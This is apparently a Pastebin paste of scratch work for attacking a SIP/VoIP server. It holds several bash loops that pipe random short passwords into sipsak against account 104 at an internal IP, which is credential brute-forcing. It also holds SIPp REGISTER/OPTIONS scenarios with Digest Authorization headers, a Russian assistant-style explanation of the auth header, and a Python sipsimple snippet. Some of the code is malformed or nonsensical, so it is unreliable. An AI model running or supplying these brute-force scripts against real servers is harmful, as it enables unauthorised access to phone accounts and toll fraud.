Advertisement
load-net

sipsak

Feb 29th, 2024 (edited)
36
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.22 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. username="username" # замените на имя пользователя SIP-аккаунта
  4. domain="domain.com" # замените на домен SIP-аккаунта
  5. password_length=6 # длина генерируемого пароля
  6.  
  7. characters="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" # символы, из которых генерируется пароль
  8.  
  9. while true; do
  10. password=$(head /dev/urandom | tr -dc $characters | head -c $password_length)
  11. echo "Trying password: $password"
  12. echo $password | sipsak -s sip:$username@$domain -x 1 -v -N > /dev/null
  13. done
  14.  
  15.  
  16.  
  17.  
  18.  
  19.  
  20.  
  21.  
  22.  
  23.  
  24.  
  25.  
  26.  
  27.  
  28. *****************************************************************************************
  29.  
  30. #!/bin/bash
  31.  
  32. username="104" # замените на имя пользователя SIP-аккаунта
  33. domain="10.20.7.114" # замените на домен SIP-аккаунта
  34. password_length=4 # длина генерируемого пароля
  35.  
  36. characters="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" # символы, из которых генерируется пароль
  37.  
  38. while true; do
  39. password=$(head /dev/urandom | tr -dc $characters | head -c $password_length)
  40. echo "Trying password: $password"
  41. echo $password | sipsak -s sip:$username@$domain -x 1 -v -N > /dev/null
  42. done
  43.  
  44. sipsak -vv -U -C sip:[email protected] -x 104 -s sip:[email protected] -a d104
  45. sipsak -I -C empty -a d104 -s sip:[email protected]
  46. sipsak -U -C sip:[email protected] -x 3600 -a d104 -s sip:[email protected]
  47.  
  48. ************************************************************************************
  49.  
  50. <?xml version="1.0" encoding="ISO-8859-1" ?>
  51. <!DOCTYPE scenario SYSTEM "sipp.dtd">
  52.  
  53. <scenario name="Custom SIP Message">
  54. <send>
  55. <![CDATA[
  56.  
  57.  
  58.  
  59.  
  60. ]]>
  61. </send>
  62. </scenario>
  63. *************************************************************************************
  64.  
  65.  
  66.  
  67.  
  68.  
  69. <?xml version="1.0" encoding="ISO-8859-1" ?>
  70. <!DOCTYPE scenario SYSTEM "sipp.dtd">
  71.  
  72. <scenario name="Custom SIP Message">
  73. <send>
  74. <![CDATA[
  75.  
  76. REGISTER sip:10.20.7.114:5060 SIP/2.0
  77. Via: SIP/2.0/UDP 10.20.7.70:62440;branch=z9hG4bK-d8754z-e567db696641101d-1---d8754z-;rport
  78. Max-Forwards: 70
  79. Contact: <sip:[email protected]:62440;rinstance=9b2966be2c473e3a>
  80. To: "203"<sip:[email protected]:5060>
  81. From: "203"<sip:[email protected]:5060>;tag=d1477f7f
  82. Call-ID: OGZlZjIyZTk0ZGE0MzNiYTIwNDNkMDUwY2Y4MzUwMDI.
  83. CSeq: 1 REGISTER
  84. Expires: 120
  85. Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REGISTER, SUBSCRIBE, NOTIFY, REFER, INFO, MESSAGE
  86. Supported: replaces
  87. User-Agent: 3CXPhone 6.0.26523.0
  88. Content-Length: 0
  89.  
  90. ]]>
  91. </send>
  92. </scenario>
  93.  
  94.  
  95.  
  96.  
  97.  
  98. ================================================================
  99.  
  100.  
  101. #!/bin/bash
  102.  
  103. username="104" # Имя пользователя SIP-аккаунта
  104. domain="10.20.7.114" # IP-адрес или домен SIP-сервера
  105. password_length=4 # Длина генерируемого пароля
  106.  
  107. characters="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" # Символы, из которых генерируется пароль
  108.  
  109. while true; do
  110. password=$(head /dev/urandom | tr -dc $characters | head -c $password_length)
  111. echo "Trying password: $password"
  112.  
  113. # Попытка авторизации на сервере с использованием sipsak
  114. sipsak -s sip:$username@$domain -P $password
  115.  
  116. # Пауза между попытками
  117. sleep 1
  118. done
  119.  
  120. #!/bin/bash
  121.  
  122. username="104" # Имя пользователя SIP-аккаунта
  123. domain="10.20.7.114" # IP-адрес или домен SIP-сервера
  124. password_length=6 # Длина генерируемого пароля
  125.  
  126. characters="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" # Символы, из которых генерируется пароль
  127.  
  128. while true; do
  129. password=$(head /dev/urandom | tr -dc $characters | head -c $password_length)
  130. echo "Trying password: $password"
  131.  
  132. # Преобразование строки пароля в числовой формат
  133. password_numeric=$(echo "$password" | tr -d '\n' | od -An -tuC)
  134.  
  135. # Попытка авторизации на сервере с использованием sipsak
  136. sipsak -s sip:$username@$domain -P $password_numeric
  137.  
  138. # Пауза между попытками
  139. sleep 1
  140. done
  141.  
  142.  
  143.  
  144.  
  145.  
  146.  
  147.  
  148.  
  149.  
  150.  
  151.  
  152.  
  153.  
  154.  
  155.  
  156.  
  157.  
  158.  
  159.  
  160.  
  161.  
  162.  
  163.  
  164.  
  165. огда SIP-сервер возвращает код ответа "401 Unauthorized" на запрос OPTIONS, это означает, что сервер требует аутентификации для выполнения запрошенного действия. Для успешного прохождения аутентификации и получения доступа к серверу, необходимо отправить повторный запрос с правильными данными аутентификации.
  166.  
  167. Для ответа на вызов аутентификации в SIP используется заголовок `Authorization`. Вот пример того, как вы можете добавить заголовок `Authorization` в ваш запрос OPTIONS для прохождения аутентификации:
  168.  
  169. ```xml
  170. <?xml version="1.0" encoding="ISO-8859-1" ?>
  171. <!DOCTYPE scenario SYSTEM "sipp.dtd">
  172.  
  173. <scenario name="OPTIONS SIP Message">
  174. <send>
  175. <![CDATA[
  176. OPTIONS sip:10.20.7.114 SIP/2.0
  177. Via: SIP/2.0/UDP 10.20.7.93:5060;rport;branch=z9hG4bK123456
  178. Call-ID: 1234567890
  179. From: <sip:[email protected]>;tag=9876543210
  180. To: <sip:[email protected]>
  181. CSeq: 1 OPTIONS
  182. Contact: <sip:[email protected]:5060>
  183. Authorization: Digest username="104", realm="asterisk", nonce="10.20.7.114", uri="sip:10.20.7.114", response="8a18e22a65b06390b091397dd8e79934", algorithm=MD5
  184. Content-Length: 0
  185. ]]>
  186. </send>
  187. </scenario>
  188. ```
  189.  
  190. В этом примере вы должны заменить `your_username` на ваше имя пользователя, `server_nonce` на значение nonce, полученное от сервера, и `your_response` на правильный хэш пароля, рассчитанный на основе учетных данных и других параметров аутентификации.
  191.  
  192. После внесения изменений отправьте обновленный запрос OPTIONS с данными аутентификации на сервер. Это должно помочь успешно пройти аутентификацию и получить ответ от сервера.
  193.  
  194. Если у вас возникнут дополнительные вопросы или потребуется дополнительная помощь, не стесняйтесь обращаться. Я готов помочь.
  195.  
  196.  
  197.  
  198.  
  199.  
  200.  
  201.  
  202.  
  203.  
  204. mkdir project
  205. mkdir wapiti3
  206.  
  207.  
  208. mkdir sipsimple
  209. cd project
  210. python -m venv sipsimple
  211.  
  212. python -m venv wapiti3
  213. pip3 install wapiti3
  214.  
  215.  
  216.  
  217.  
  218.  
  219. echo
  220. from sipsimple.core import SIPURI, ContactHeader
  221. from sipsimple.account import AccountManager
  222. from sipsimple.configuration.settings import SIPSimpleSettings
  223. from sipsimple.core import Request, Response
  224. import hashlib
  225.  
  226. # Создание SIP-адреса и учетной записи
  227. sip_uri = SIPURI("sip:[email protected]")
  228. account = AccountManager().get_account(sip_uri)
  229.  
  230. # Генерация пароля
  231. password = "d104" # Предварительно известный пароль
  232. response = hashlib.md5(f"{account.username}:{account.realm}:{password}".encode()).hexdigest()
  233.  
  234. # Отправка запроса REGISTER с данными аутентификации
  235. request = Request("REGISTER", sip_uri)
  236. request.headers["Authorization"] = f'Digest username="{account.username}", realm="{account.realm}", nonce="{account.nonce}", uri="{sip_uri}", response="{response}", algorithm=MD5'
  237. request.headers["Contact"] = ContactHeader(f'<sip:{account.username}@{SIPSimpleSettings.sip_proxy}>')
  238. response = request.send()
  239. print(response)
  240. > sipsimple2.py
  241.  
  242. ===========================================================================
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement